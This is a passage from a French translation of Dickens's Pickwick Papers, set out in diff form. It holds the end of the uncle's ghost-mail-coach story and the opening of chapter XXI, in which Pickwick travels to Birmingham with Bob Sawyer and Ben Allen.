+avait paru si indifférent à ce qui se passait, il était occupé à
+chercher, sans en faire semblant, quelques projectiles ou quelque arme
+défensive; et au moment même où les épées furent tirées, il aperçut,
+dans le coin de la cheminée, une vieille rapière à coquille, avec un
+fourreau rouillé. D'un seul bond, mon oncle l'atteignit, la tira, la fit
+tourner rapidement au-dessus de sa tête, cria à la jeune dame de se
+retirer dans un coin, lança le fourreau à l'homme de mauvaise mine, jeta
+une chaise au gentilhomme en habit bleu, et prenant avantage de leur
+confusion, tomba sur tous les deux, pêle-mêle.
+
+Il y a une vieille histoire, qui n'en est pas moins bonne pour être
+vieille, concernant un jeune gentleman irlandais, à qui l'on demandait
+s'il jouait du violon: «Je n'en sais rien, répondit-il; car je n'ai
+jamais essayé.» Ceci pourrait fort bien s'appliquer à mon oncle et à son
+escrime. Il n'avait jamais tenu une épée dans sa main, si ce n'est une
+fois, en jouant Richard III sur un théâtre d'amateurs; et encore, dans
+cette occasion, il avait été convenu que Richmond le tuerait par
+derrière, sans faire le simulacre du combat; mais ici, voilà qu'il
+faisait assaut avec deux habiles tireurs, poussant de tierce et de
+quarte, parant, se fendant, et combattant enfin de la manière la plus
+courageuse et la plus adroite, quoique jusqu'à ce moment il ne se fût
+pas douté qu'il eût la plus légère notion de la science de l'escrime.
+Cela montra la vérité de ce vieux proverbe, qu'un homme ne sait pas ce
+qu'il peut faire tant qu'il ne l'a pas essayé.
+
+Le bruit du combat était terrible. Les trois champions juraient comme
+des troupiers, et leurs épées faisaient un cliquetis plus bruyant que ne
+pourraient faire tous les couteaux et toutes les mécaniques à affiler du
+marché de Newport, s'entrechoquant en mesure. Au moment le plus animé,
+la jeune dame, sans doute pour encourager mon oncle, retira entièrement
+son chaperon, et lui fit voir une si éblouissante beauté qu'il aurait
+combattu contre cinquante démons pour obtenir d'elle un sourire, et
+mourir au même instant. Il avait fait des merveilles jusque-là, mais il
+commença alors à se détacher comme un géant enragé.
+
+Le gentilhomme en habit bleu aperçut en se retournant que la jeune dame
+avait découvert son visage; il poussa une exclamation de rage et de
+jalousie, et, tournant son épée vers elle, il lui lança un coup de
+pointe, qui fit pousser à mon oncle un rugissement d'appréhension. Mais
+la jeune dame sauta légèrement de côté, et saisissant l'épée du jeune
+homme avant qu'il se fût redressé, la lui arracha, le poussa vers le
+mur, et lui passant l'épée en travers du corps, jusqu'à la garde, le
+cloua solidement dans la boiserie. C'était d'un magnifique exemple. Mon
+oncle, avec un cri de triomphe et une vigueur irrésistible, fit reculer
+son adversaire dans la même direction, et plongeant la vieille rapière
+juste au centre d'une des fleurs de son gilet, le cloua à côté de son
+ami. Ils étaient là tous les deux gentlemen, gigotant des bras et des
+jambes dans leur agonie, comme les pantins de carton que les enfants
+font mouvoir avec un fil. Mon oncle répétait souvent, dans la suite, que
+c'était là la manière la plus sûre de se débarrasser d'un ennemi, et
+qu'elle ne présentait qu'un seul inconvénient, c'était la dépense
+qu'elle entraînait, puisqu'il fallait perdre une épée pour chaque homme
+mis hors de combat.
+
+«La malle! la malle! cria la jeune dame, en se précipitant vers mon
+oncle, et en lui jetant ses beaux bras autour du cou; nous pouvons
+encore nous sauver!
+
+--Vraiment, ma chère, dit mon oncle, cala ne me paraît guère douteux. Il
+me semble qu'il n'y a plus personne à tuer.»
+
+Mon oncle était un peu désappointé, gentlemen; car il pensait qu'un
+petit intermède d'amour eût été fort agréable après ce massacre, quand
+ce n'eût été qu'à cause du contraste.
+
+«Nous n'avons pas un instant à perdre ici, reprit la jeune lady.
+Celui-ci (montrant le gentilhomme en habit bleu) est le fils du puissant
+marquis de Filleteville.
+
+--Eh bien! ma chère, j'ai peur qu'il n'en porte jamais le titre,
+répondit mon oncle, en regardant froidement le jeune homme, qui était
+piqué contre le mur comme un papillon. Vous avez éteint le majorat, mon
+amour.
+
+--J'ai été enlevée à ma famille, à mes amis, par ce scélérat, s'écria la
+jeune dame, dont le regard brillait d'indignation. Ce misérable m'aurait
+épousée de force avant une heure.
+
+--L'impudent coquin! dit mon oncle en jetant un coup d'oeil méprisant à
+l'héritier moribond des Filleteville.
+
+--Comme vous pouvez en juger par ce que vous avez vu, leurs complices
+sont prêts à m'assassiner, si vous invoquez l'assistance de quelqu'un.
+S'ils nous trouvent ici, nous sommes perdus! Dans deux minutes il sera
+peut-être trop tard pour fuir. La malle! la malle!»
+
+En prononçant ces mots, la jeune dame, épuisée par son émotion et par
+l'effort qu'elle avait fait en embrochant le marquis de Filleteville, se
+laissa tomber dans les bras de mon oncle, qui l'emporta aussitôt devant
+la porte de la maison. La malle était là, attelée de quatre chevaux
+noirs à tout crin, mais sans cocher, sans conducteur, et même sans
+palefrenier à la tête des chevaux.
+
+Gentlemen, j'espère que ne je fais pas tort à la mémoire de mon oncle en
+disant que, quoique garçon, il avait tenu, avant ce moment-là, quelques
+dames dans ses bras. Je crois même qu'il avait l'habitude d'embrasser
+les filles d'auberge, et je sais que deux ou trois fois il a été vu par
+des témoins dignes de foi déposant un baiser sur le cou d'une maîtresse
+d'hôtel d'une manière très perceptible. Je mentionne ces circonstances
+afin que vous jugiez combien la beauté de cette jeune lady devait être
+incomparable pour affecter mon oncle comme elle le fit: il disait
+souvent qu'en voyant ses longs cheveux noirs flotter sur son bras et ses
+beaux yeux noirs se tourner vers lui, lorsqu'elle revint à elle, il
+s'était senti si agité, si drôle, que ses jambes en tremblaient sous
+lui. Mais qui peut regarder une paire de jolis yeux noirs sans se sentir
+tout drôle? Pour moi, je ne le puis, gentlemen, et je connais certains
+yeux que je n'oserais pas regarder, parole d'honneur!
+
+«Vous ne me quitterez jamais, murmura la jeune dame.
+
+--Jamais! répondit mon oncle. Et il le pensait comme il le disait.
+
+--Mon brave libérateur, mon excellent, mon cher libérateur!
+
+--Ne me dites donc pas de ces choses-là!
+
+--Pourquoi pas?
+
+--Parce que votre bouche est si séduisante quand vous parlez que j'ai
+peur d'être assez impertinent pour la baiser.»
+
+La jeune femme leva sa main comme pour avertir mon oncle de n'en rien
+faire et dit... non, elle ne dit rien, elle sourit. Quand vous regardez
+une paire de lèvres les plus délicieuses du monde, et quand elles
+s'épanouissent doucement en un sourire fripon, si vous êtes assez près
+d'elles et sans témoin, vous ne pouvez mieux témoigner votre admiration
+de leur forme et de leur couleur charmante qu'en les baisant: c'est ce
+que fit mon oncle, et je l'honore pour cela.
+
+«Écoutez, s'écria la jeune dame en tressaillant, entendez-vous le bruit
+des roues et des chevaux?
+
+--C'est vrai,» dit mon oncle en se baissant.
+
+Il avait l'oreille fine et était habitué à reconnaître le roulement des
+voitures; mais celles qui s'approchaient vers eux paraissaient si
+nombreuses et faisaient tant de fracas qu'il lui fut impossible d'en
+deviner le nombre. Il semblait qu'il y eût cinquante carrosses emportés
+chacun par six chevaux.
+
+«Nous sommes poursuivis! s'écria la jeune dame en tordant ses mains.
+Nous sommes poursuivis! Je n'ai plus d'espoir qu'en vous seul!»
+
+Il y avait une telle expression de terreur sur son charmant visage que
+mon oncle se décida tout d'un coup. Il la porta dans la voiture, lui dit
+de ne pas s'effrayer, pressa encore uns fois ses lèvres sur les siennes,
+et l'ayant engagée à lever les glaces pour sa préserver du froid, monta
+sur le siége.
+
+«Attendez, mon sauveur, dit la jeune lady.
+
+--Qu'est-ce qu'il y a? demanda mon oncle de son siége.
+
+--Je voudrais vous parler. Un mot, un seul mot, mon chéri!
+
+--Faut-il que je descende?» demanda mon oncle.
+
+La jeune dame ne fit pas de réponse, mais elle sourit encore, et d'un si
+joli sourire, gentlemen, qu'il enfonçait l'autre complétement. Mon oncle
+fut par terre en un clin d'oeil.
+
+«Qu'est-ce qu'il y a ma chère?» dit-il en mettant la tête à la portière.
+
+La dame s'y penchait en même temps par hasard, et elle lui parut plus
+belle que jamais. Il était fort près d'elle dans ce moment-là; ainsi il
+ne pouvait pas se tromper.
+
+«Qu'est-ce qu'il y a, ma chère? demanda mon oncle.
+
+--Vous n'aimerez jamais d'autre femme que moi? Vous n'en épouserez
+jamais d'autre?»
+
+Mon oncle jura ses grands dieux qu'il n'épouserait jamais une autre
+femme, et la jeune lady retira sa tête et releva la glace. Mon oncle
+s'élança de nouveau sur le siége, équarrit ses coudes, ajusta les rênes,
+prit le fouet sur l'impériale, le fit claquer savamment, et en route!
+Les quatre chevaux noirs à tout crin s'élancèrent avec la vieille malle
+derrière eux, dévorant quinze bons milles en une heure. Brrr! brrrr!
+comme ils galopaient!
+
+Pourtant le bruit des voitures devenait plus fort par derrière. Le vieux
+carrosse avait beau aller vite, ceux qui le poursuivaient allaient plus
+vite encore. Les hommes, les chevaux, les chiens, semblaient ligués pour
+l'atteindre; le fracas était épouvantable, mais par-dessus tout
+s'élevait la voix de la jeune dame, excitant mon oncle, et lui criant:
+«Plus vite! plus vite! plus vite!»
+
+Ils volaient comme l'éclair. Les arbres sombres, les meules de foin, les
+maisons, les églises, tous les objets fuyaient à droite et à gauche,
+comme des brins de paille emportés par un ouragan. Leurs roues
+retentissaient comme un torrent qui déchire ses digues, et pourtant le
+bruit de la poursuite devenait plus fort, et mon oncle entendait encore
+la jeune lady crier d'une voix déchirante: «Plus vite! plus vite! plus
+vite!»
+
+Mon oncle employait le fouet et les rênes, et les chevaux détalaient
+avec tant de rapidité, qu'ils étaient tout blancs d'écume, et cependant
+la jeune dame criait encore: «Plus vite! plus vite!» Dans l'excitation
+du moment, mon oncle donna un violent coup sur le marchepied avec le
+talon de sa botte... et il s'aperçut que l'aube blanchissait, et qu'il
+était assis sur le siége d'une vieille malle d'Édimbourg, dans l'enclos
+du carrossier, grelottant de froid et d'humidité, et frappant ses pieds
+pour les réchauffer. Il descendit avec empressement, et chercha la
+charmante jeune lady dans l'intérieur.... Hélas! il n'y avait ni
+portière, ni coussin à la voiture, c'était une simple carcasse.
+
+
+Mon oncle vit bien qu'il y avait là-dessous quelque mystère, et que tout
+s'était passé exactement comme il avait coutume de le raconter. Il resta
+fidèle au serment qu'il avait fait à la jeune dame, refusa, pour l'amour
+d'elle, plusieurs maîtresses d'auberge, fort désirables, et mourut
+garçon à la fin. Il faisait souvent remarquer quelle drôle de chose
+c'était qu'il eût découvert, en montant tout bonnement par-dessus cette
+palissade, que les ombres des malles, des chevaux, des gardes, des
+cochers et des voyageurs, eussent l'habitude de faire des voyages
+régulièrement chaque nuit. Il ajoutait qu'il croyait être le seul
+individu vivant qu'on eût jamais pris comme passager dans une de ces
+excursions. Je crois effectivement qu'il avait raison, gentlemen, ou du
+moins je n'ai jamais entendu parler d'aucun autre.
+
+«Je ne comprends pas ce que ces ombres de malles-postes peuvent porter
+dans leurs sacs?... dit l'hôte, qui avait écouté l'histoire avec une
+profonde attention.
+
+--Parbleu, les lettres mortes. [22]
+
+[Footnote 22: En anglais, _dead letters_, lettres mises au rebut. (_Note
+du traducteur._)]
+
+--Oh! ah! c'est juste. Je n'y avais pas pensé.»
+
+
+
+
+CHAPITRE XXI.
+
+
+Comment M. Pickwick exécuta sa mission et comment il fut renforcé, dès
+le début, par un auxiliaire tout à fait imprévu.
+
+
+Les chevaux furent ponctuellement amenés le lendemain matin à neuf
+heures moins un quart, et M. Pickwick ayant occupa sa place, ainsi que
+Sam, l'un à l'intérieur, l'autre à l'extérieur, le postillon reçut ordre
+de se rendre à la maison de M. Sawyer, afin d'y prendre M. Benjamin
+Allen.
+
+La voiture arriva bientôt devant la boutique où se lisait cette
+inscription: _Sawyer, successeur de Nockemorf_; et M. Pickwick, en
+mettant la tête à la portière, vit, avec une surprise extrême, le jeune
+garçon en livrée grise, activement occupé à fermer les volets. À cette
+heure de la matinée c'était une occupation hors du train ordinaire des
+affaires, et cela fit penser d'abord à notre philosophe que quelque ami
+ou patient de M. Sawyer était mort, ou bien peut-être que M. Bob Sawyer
+lui-même avait fait banqueroute.
+
+«Qu'est-il donc arrivé? demanda-t-il au garçon.
+
+--Rien du tout, monsieur, répondit celui-ci en fendant sa bouche jusqu'à
+ses oreilles.
+
+--Tout va bien, tout va bien cria Bob en paraissant soudainement sur le
+pas de sa porte, avec un petit havresac de cuir, vieux et malpropre,
+dans une main, et dans l'autre une grosse redingote et un châle. Je
+m'embarque, vieux.
+
+--Vous?
+
+--Oui, et nous allons faire une véritable expédition. Hé! Sam, à vous!
+Ayant ainsi brièvement éveillé l'attention de Sam Welter, dont la
+physionomie exprimait beaucoup d'admiration pour ce procédé expéditif,
+Bob lui lança son havresac, qui fut immédiatement logé dans le siége.
+Cela fait, ledit Bob, avec l'assistance du gamin, s'introduisit de force
+dans la redingote, beaucoup trop petite pour lui, et, s'approchant de la
+portière du carrosse, y fourra sa tête, et se prit à rire bruyamment.
+
+«Quelle bonne farce! dit-il en essuyant avec son parement les larmes qui
+tombaient de ses yeux.
+
+--Mon cher monsieur, répliqua M. Pickwick, avec quelque embarras, je
+n'avais pas la moindre idée que vous nous accompagneriez.
+
+--Justement; voilà le bon de la chose.
+
+--Ah! voila le bon de la chose? répéta M. Pickwick, dubitativement.
+
+--Sans doute: outre le plaisir de laisser la pharmacie se tirer
+d'affaire toute seule, puisqu'elle parait bien décidée à ne pas se tirer
+d'affaire avec moi.»
+
+Ayant ainsi expliqué le phénomène des volets, M. Sawyer retomba dans une
+extase de joie.
+
+«Quoi vous seriez assez fou pour laisser vos malades sans médecin? dit
+M. Pickwick d'un ton sérieux.
+
+--Pourquoi pas? répliqua Bob. J'y gagnerai encore; il n'y en a pas un
+qui me paye. Et puis, ajoute-t-il en baissant la voix jusqu'à un
+chuchotement confidentiel, ils y gagneront, aussi; car, n'ayant presque
+plus de médicaments, et ne pouvant pas les remplacer dans ce moment-ci,
+j'aurais été obligé de leur donner à tous du calomel; ce qui aurait pu
+mal réussir à quelques-uns. Ainsi, tout est pour le mieux.»
+
+Il y avait dans cette réponse une force de raisonnement et de
+philosophie à laquelle M. Pickwick ne s'attendait point. Il réfléchit
+pendant quelques instants, et dit ensuite, d'une manière moins ferme
+toutefois:
+
+«Mais cette chaise, mon jeune ami, cette chaise ne peut contenir que
+deux personnes, et je l'ai promise à M. Allen.
+
+--Ne vous occupez pas de moi un seul instant, j'ai arrangé tout cela,
+Sam me fera de la place sur le siége de derrière, à côté de lui.
+Regardez ceci; ce petit écriteau va être collé sur la porte: _Sawyer,
+successeur de Nockemorf. S'adresser en face, chez Mme Cripps_. Mme
+Cripps est la mère de mon groom. M. Sawyer est très fâché, dira Mme
+Cripps, il n'a pas pu faire autrement. On est venu le chercher ce matin
+pour une consultation, avec les premiers chirurgiens du pays. On ne
+pouvait pas se passer de lui; on voulait l'avoir à tout prix. Une
+opération terrible. Le fait est, ajouta Bob, pour conclure, que cela me
+fera, j'espère, plus de bien que de mal. Si on pouvait annoncer mon
+déport dans la journal de la localité, ma fortune est faite. Mais voila
+Ben.... Allons, montez!»
+
+Tout en proférant ces paroles précipitées, Bob poussait de coté le
+postillon, jetait son ami dans la voiture, fermait la portière, relevait
+le marchepied, collait l'écriteau sur sa porte, la fermait, mettait la
+clef dans sa poche, s'élançait à coté de Sam, ordonnait au postillon de
+partir, et tout cela avec une rapidité si extraordinaire, que la voiture
+roulait déjà, et que M. Bob Sawyer était complètement établi comme
+partie intégrante de l'équipage, avant que M. Pickwick eût eu le temps
+de peser en lui-même s'il devait l'emmener ou non.
+
+Tant que la voiture se trouva dans les rues de Bristol, le facétieux Bob
+conserva ses lunettes vertes, et se comporta avec une gravité
+convenable, se contentant de chuchoter diverses plaisanteries pour
+l'amusement spécial de Samuel Weller; mais, une fois arrivé sur la
+grand'route, il se dépouilla à la fois de ses lunettes et de sa gravité
+professionnelle, et se régala de diverses charges qui pouvaient jusqu'à
+un certain point attirer l'attention des passante sur la voiture, et
+rendre ceux qu'elle contenait l'objet d'une curiosité plus qu'ordinaire.
+Le moins remarquable de ces exploits était l'imitation bruyante d'un
+cornet à piston et le déploiement ambitieux d'un mouchoir de soie rouge
+attaché au bout d'une canne, en guise de pavillon, et agité de temps en
+temps d'un air de suprématie et de provocation.
+
+«Je ne comprends pas, dit M. Pickwick en s'arrêtant au milieu d'une
+grave conversation avec M. Ben Allen, sur les bonnes qualités de M.
+Winkle et de sa jeune épouse, je ne comprends pas ce que tons les
+passants trouvent en nous de si extraordinaire pour nous examiner ainsi.
+
+--La bonne tournure de la voiture, répondit Béa avec un léger sentiment
+d'orgueil. Je parierais qu'ils n'en voient pas tous les jours de
+semblables.
+
+--Cela n'est pas impossible... cela ne peut... cela doit être» reprit M.
+Pickwick, qui se savait sans doute persuadé que cela _était_ si,
+regardant en ce moment par la portière, il n'avait pas remarqué que la
+contenance des passants n'indiquait aucunement un étonnement
+respectueux, et que diverses communications télégraphiques paraissaient
+s'échanger entre eux et les habitants extérieurs de la voiture. M.
+Pickwick, comprenant instinctivement que cela pouvait avoir quelques
+rapports éloignés avec l'humeur plaisante de M. Bob Sawyer: «J'espère,
+dit-il, que notre facétieux ami ne commet pas d'absurdités là derrière.
+
+--Oh que non! répliqua Ben Allen; excepté quand il est un peu lancé, Bob
+est la plus paisible créature de la terre.»
+
+Ici l'on entendit l'imitation prolongée d'un cornet à piston,
+immédiatement suivie par des cris, par des hourras, qui sortaient
+évidemment du gosier et des poumons de _la plus paisible créature du
+monde_, ou, en termes plus clairs, de M. Bob Sawyer lui-même.
+
+M. Pickwick et M. Ben Allen échangèrent un regard expressif, et le
+premier de ces gentlemen, ôtant son chapeau et se penchant par la
+portière, de façon que presque tout son gilet était en dehors, parvint
+enfin à apercevoir le jovial pharmacien.
+
+M. Bob Sawyer était assis, non pas sur le siége de derrière, mais sur le
+haut de la voiture, les jambes aussi écartées que possible; il portait
+sur le coin de l'oreille le chapeau de Sam, et tenait d'une main une
+énorme sandwich, tandis que, de l'autre, il soulevait un immense flacon.
+D'un air de suave jouissance, il caressait tour à tour l'un et l'antre,
+variant toutefois la monotonie de cette occupation en poussant de temps
+en temps quelques cris, ou en échangeant avec les passants quelques
+spirituels badinages. Le pavillon sanguinaire était soigneusement
+attaché au siége de la voiture, dans une position verticale, et M.
+Samuel Weller, décoré du chapeau de Bob, était en train d'expédier une
+double sandwich avec une contenance animée et satisfaite, qui annonçait
+son entière approbation de tous ces procédés.
+
+Cela était bien suffisant pour irriter un gentleman ayant, autant que M.
+Pickwick, le sentiment des convenances; mais ce n'était pas encore là
+tout le mal, car la chaise de poste croisait, en ce moment-là même, une
+voiture publique, chargée à l'extérieur comme à l'intérieur de
+voyageurs, dont l'étonnement était exprimé d'une manière fort
+significative. Les congratulations d'une famille irlandaise qui courait
+à côté de la chaise en demandant l'aumône, étaient aussi passablement
+bruyantes, surtout celles du chef de la famille, car il paraissait
+croire que cet étalage faisait partie de quelque démonstration politique
+et triomphale.
+
+«Monsieur Sawyer! cria M. Pickwick dans un état de grande excitation.
+Monsieur Sawyer, monsieur!
+
+--Ohé! répondit l'aimable jeune homme en se penchant sur un côté de la
+voiture avec toute la tranquillité imaginable.
+
+--Êtes-vous fou, monsieur?
+
+--Pas le moins du monde! Je ne suis que gai.
+
+--Gai! Otez-moi ce scandaleux mouchoir rouge, monsieur! J'exige que vous
+l'abattiez, monsieur! Sam, ôtez-le sur-le-champ!»
+
+Avant que Sam eût pu intervenir, M. Bob Sawyer amena gracieusement son
+pavillon, le plaça dans sa poche, fit un signe de tête poli à M.
+Pickwick, essuya le goulot de la bouteille et l'appliqua à sa bouche,
+lui faisant comprendre par là, sans perte de paroles, qu'il lui
+souhaitait toutes sortes de bonheur et de prospérité. Ayant exécuté
+cette pantomime, Bob replaça soigneusement le bouchon, et, regardant M.
+Pickwick d'un air bénin, mordit une bonne bouchée dans sa sandwich, et
+sourit.
+
+«Allons! dit M. Pickwick, dont la colère momentanée n'était pas à
+l'épreuve de l'aimable aplomb de Bob; allons, monsieur, ne faites plus
+de semblables absurdités, s'il vous plaît.
+
+--Non, non, répliqua le disciple d'Esculape en changeant de chapeau avec
+Sam. Je ne l'ai pas fait exprès; le grand air m'avait si fort animé que
+je n'ai pas pu m'en empêcher.
+
+--Pensez à l'effet que cela produit, reprit M Pickwick d'une voix
+persuasive. Ayez quelques égards pour les convenances.
+
+--Oh! certainement, répliqua Bob. Cela n'était pas du tout convenable.
+C'est fini, gouverneur.»
+
+Satisfait de cette assurance, M. Pickwick rentra la tête dans la
+voiture; mais à peine avait-il repris la conversation interrompue, qu'il
+fut étonné par l'apparition d'un petit corps opaque qui vint donner
+plusieurs tapes sur là glace, comme pour témoigner son impatience d'être
+admis dans l'intérieur.
+
+«Qu'est-ce que cela? s'écria M. Pickwick.
+
+--Ça ressemble à un flacon, répondit Ben Allen en regardant l'objet en
+question à travers ses lunettes et avec beaucoup d'intérêt. Je pense
+qu'il appartient à Bob.»
+
+Cette opinion était parfaitement exacte. M. Bob Sawyer ayant attaché le
+flacon au bout de sa canne, le faisait battre contre la fenêtre, pour
+engager ses amis de l'intérieur à en partager le contenu, en bonne
+harmonie et en bonne intelligence.
+
+«Que faut-il faire? demanda M. Pickwick en regardant le flacon. Cette
+idée-là est encore plus absurde que l'autre.
+
+--Je pense qu'il vaudrait mieux le prendre et le garder opina Ben Allen.
+Il le mérite bien.
+
+--Certainement. Le prendrai-je?
+
+--Je crois que c'est ce que nous pouvons faire de mieux.»
+
+Cet avis coïncidant complètement avec l'opinion de M. Pickwick, il
+abaissa doucement la glace et détacha la bouteille du bâton. Celui-ci
+fut alors retiré, et l'on entendit M. Bob Sawyer rire de tout son coeur.
+
+«Quel joyeux gaillard! dit M. Pickwick, le flacon à la main.
+
+--C'est vrai, répondit Ben.
+
+--On ne saurait rester fâché contre lui.
+
+--Tout à fait impossible.»
+
+Pendant cette courte communication de sentiments, M. Pickwick avait
+machinalement débouché la bouteille. «Qu'est-ce que c'est? demanda
+nonchalamment M. Allen.
+
+--Je n'en sais rien, répliqua M. Pickwick avec une égale nonchalance.
+Cela sent, je crois, le punch.
+
+--Vraiment? dit Benjamin.
+
+--Je le suppose du moins, reprit M. Pickwick, qui n'aurait pas voulu
+s'exposer à dire une fausseté. Je le suppose, car il me serait
+impossible d'en parler avec certitude sans y goûter.
+
+--Vous ne feriez pas mal d'essayer. Autant vaut savoir ce que c'est.
+
+--Est-ce votre avis? Eh bien! ci cela vous fait plaisir, je ne veux pas
+m'y refuser.»
+
+Toujours disposé à sacrifier ses propres sentiments aux désirs de ses
+amis, M. Pickwick s'occupa assez longuement à déguster le contenu de la
+bouteille.
+
+«Qu'est-ce que c'est? demanda M. Allen, en l'interrompant avec quelque
+impatience.
+
+--C'est extraordinaire! répondit le philosophe en léchant ses lèvres; je
+n'en suis pas bien sur. Oh! oui, ajouta-t-il, après avoir goûté une
+seconde fois, c'est du punch.»
+
+M. Ben Allen regarda M. Pickwick, et M. Pickwick regarda M. Ben Allen.
+M. Ben Allen sourit, mais M. Pickwick garda son sérieux.
+
+«Il mériterait, dit ce dernier avec sévérité, il mériterait que nous
+buvions tout, jusqu'à la dernière goutte.
+
+--C'est précisément ce que je pensais.
+
+--En vérité! Eh bien alors, à sa santé!»
+
+Ayant ainsi parlé, notre excellent ami donna un tendre et long baiser à
+la bouteille, et la passa à Benjamin. Celui-ci ne se fit pas prier pour
+suivre son exemple: les sourires devinrent réciproques, et le punch
+disparut graduellement et joyeusement.
+
+«Après tout, dit M. Pickwick en savourant la dernière goutte, ses idées
+sont réellement très-plaisantes, très-amusantes en vérité!
+
+--Sans aucun doute,» répliqua Ben. Et, pour prouver que M. Bob était un
+des plus joyeux compères existants, il raconta lentement et en détail,
+comment son ami avait tant bu une fois, qu'il y avait gagné une fièvre
+chaude, et qu'on avait été obligé de le raser. La relation de cet
+agréable incident durait encore, lorsque la chaise arrêta devant l'hôtel
+de _la Cloche_, à Berkeby-Heath, pour changer de chevaux.
+
+«Nous allons dîner ici, n'est-ce pas? dit Bob en fourrant sa tête à la
+portière.
+
+--Dîner! s'écria M. Pickwick. Nous n'avons encore fait que dix-neuf
+milles, et nous en avons quatre-vingt-sept et demi à faire.
+
+--C'est précisément pour cela qu'il faut prendre quelque chose qui nous
+aide à supporter la fatigue, répliqua Bob.
+
+--Oh! reprit M. Pickwick en regardant sa montre, il est tout à fait
+impossible de dîner à onze heures et demie du matin.
+
+--C'est juste, c'est un déjeuner qu'il nous faut.--Ohé! monsieur! un
+déjeuner pour trois, sur-le-champ, et n'attelez les chevaux que dans un
+quart d'heure. Faites mettre sur la table tout ce que vous avez de
+froid, avec quelques bouteilles d'ale, et votre meilleur madère.» Ayant
+donné ces ordres avec un empressement et une importance prodigieuse, M.
+Bob Sawyer entra immédiatement dans la maison pour en surveiller
+l'exécution. Il revint, en moins de cinq minutes, déclarer que tout
+était prêt et excellent.
+
+La qualité du déjeuner justifia complétement les assertions du
+pharmacien, et ses compagnons de voyage y firent autant d'honneur que
+lui. Grâce à leurs efforts réunis, les bouteilles d'ale et le vin de
+Madère disparurent promptement. Le flacon fut ensuite rempli du meilleur
+équivalent possible pour le punch, et quand nos amis eurent repris leurs
+places dans la voiture, le cornet sonna et le pavillon rouge flotta,
+sans la plus légère opposition de la part de M. Pickwick.
+
+À Tewkesbury, on arrêta pour dîner, et on y expédia encore de l'ale, une
+bouteille de madère et du porto par-dessus le marché; enfin le flacon y
+fut rempli, pour la quatrième fois. Sous l'influence combinée de ces
+liquides, M. Pickwick et M. Allen restèrent endormis pendant trente
+milles, tandis que Bob et Sam Weller chantaient des duos sur leur siége.
+
+Il faisait tout à fait sombre, quand M. Pickwick se secoua et s'éveilla
+suffisamment pour regarder par la portière. Des chaumières éparses sur
+le bord de la route, la teinte enfumée de tous les objets visibles,
+l'atmosphère nébuleuse, les chemins couverts de cendre et de poussière
+de brique, la lueur ardente des fournaises embrasées, à droite et à
+gauche, les nuages de fumée qui sortaient pesamment des hautes cheminées
+pyramidales et qui noircissaient tous les environs, l'éclat des lumières
+lointaines, les pesants chariots qui rampaient sur la route, chargés de
+barres de fer retentissantes ou d'autres lourdes marchandises, tout
+enfin indiquait qu'on approchait de la grande cité industrielle de
+Birmingham.
+
+Le mouvement et le tapage d'un travail sérieux devenaient de plus en
+plus sensibles, à mesure que la voiture avançait dans les étroites rues
+qui conduisent au centre des affaires, une foule active circulait
+partout; des lumières brillaient, jusque sous les toits, aux longues
+files de fenêtres; le bourdonnement du travail sortait de chaque maison;
+le mouvement des roues et des balanciers faisait trembler les murailles.
+Les feux dont les reflets rougeâtres étaient visibles depuis plusieurs
+milles, flambaient furieusement dans les grands ateliers. Le bruit des
+outils, les coups mesurés des marteaux, le sifflement de la vapeur, le
+lourd cliquetis des machines, retentissaient de tous les côtés, comme
+une rude harmonie.
+
+La voiture était arrivée dans les larges rues et devant les boutiques
+brillantes qui entourent le vieil hôtel _Royal_, avant que M. Pickwick
+eût commencé à considérer la nature délicate et difficile de la
+commission qui l'avait amené là.
+
+La délicatesse de la commission et la difficulté de l'exécuter
+convenablement n'étaient nullement amoindries par la présence volontaire
+de M. Bob Sawyer. Pour dire la vérité, M. Pickwick n'était nullement
+enchanté de l'avantage qu'il avait de jouir de sa société, quelque
+agréable et quelque honorable qu'elle fût d'ailleurs. Il aurait même
+donné joyeusement une somme raisonnable, pour pouvoir le faire
+transporter, temporairement, à cinquante milles de distance.
+
+M. Pickwick n'avait jamais eu de communications personnelles avec M.
+Winkle père, quoiqu'il eût deux ou trois fois correspondu par lettre
+avec lui, et lui eût fait des réponses satisfaisantes concernant la
+conduite et le caractère de M. Winkle junior. Il sentait donc, avec un
+frémissement nerveux, que ce n'était pas un moyen fort ingénieux de le
+prédisposer en sa faveur, que de lui faire sa première visite,
+accompagné de Ben Allen et de Bob Sawyer, tous deux légèrement gris.
+
+«Quoi qu'il en soit, pensait M. Pickwick en cherchant à se rassurer
+lui-même, il faut que je fasse de mon mieux. Je suis obligé de le voir
+ce soir, car je l'ai positivement promis à son fils; et si les deux
+jeunes gens persistent à vouloir m'accompagner, il faudra que je rende
+l'entrevue aussi courte que possible, me contentant d'espérer que, pour
+leur propre honneur, ils ne feront pas d'extravagances.»
+
+Comme M. Pickwick se consolait par ces réflexions, la chaise s'arrêta à
+la porte du vieil hôtel _Royal_. Ben Allen, à moitié réveillé, en fut
+tiré par Sam, et M. Pickwick put descendre à son tour. Ayant été
+introduit, avec ses compagnons, dans un appartement confortable, il
+interrogea immédiatement le garçon concernant la résidence de M. Winkle.
+
+«Tout près d'ici, monsieur, répondit le garçon. M. Winkle a un entrepôt
+sur le quai, mais sa maison n'est pas à cinq cents pas d'ici, monsieur.»
+
+Ici le garçon éteignit une chandelle et la ralluma le plus lentement
+possible, afin de laisser à M. Pickwick le temps de lui adresser
+d'autres questions, s'il y était disposé.
+
+«Désirez-vous quelque chose, monsieur? dit-il, en désespoir de cause. Un
+dîner, monsieur? du thé ou du café?
+
+--Rien, pour le moment.
+
+--Très-bien, monsieur. Vous ne voulez pas commander votre souper,
+monsieur?
+
+--Non, pas à présent.
+
+--Très-bien, monsieur.»
+
+Le garçon marche doucement vers la porte, et s'arrêtant court, se
+retourna et dit avec une grande suavité:
+
+«Vous enverrai-je la fille de chambre, messieurs?
+
+--Oui, s'il vous plaît, répondit M. Pickwick.
+
+--Et puis vous apporterez une bouteille de soda-water ajouta Bob.
+
+--Soda-water? Oui, monsieur.» Avec ces mots, le garçon, dont l'esprit
+paraissait soulagé d'un poids accablant en ayant à la fin obtenu l'ordre
+de servir quelque chose, s'évanouit imperceptiblement. En effet, les
+garçons d'hôtel ne marchent ni ne courent; ils ont une manière
+mystérieuse de glisser, qui n'est pas donnée aux autres hommes.
+
+Quelques légers symptômes de vitalité ayant été éveillés chez M. Ben
+Allen par un verre de soda-water, il consentit enfin à laver son visage
+et ses mains, et à se laisser brosser par Sam. M. Pickwick et Bob Sawyer
+ayant également réparé les désordres que le voyage avait produits dans
+leur costume, les trois amis partirent, bras dessus, bras dessous, pour
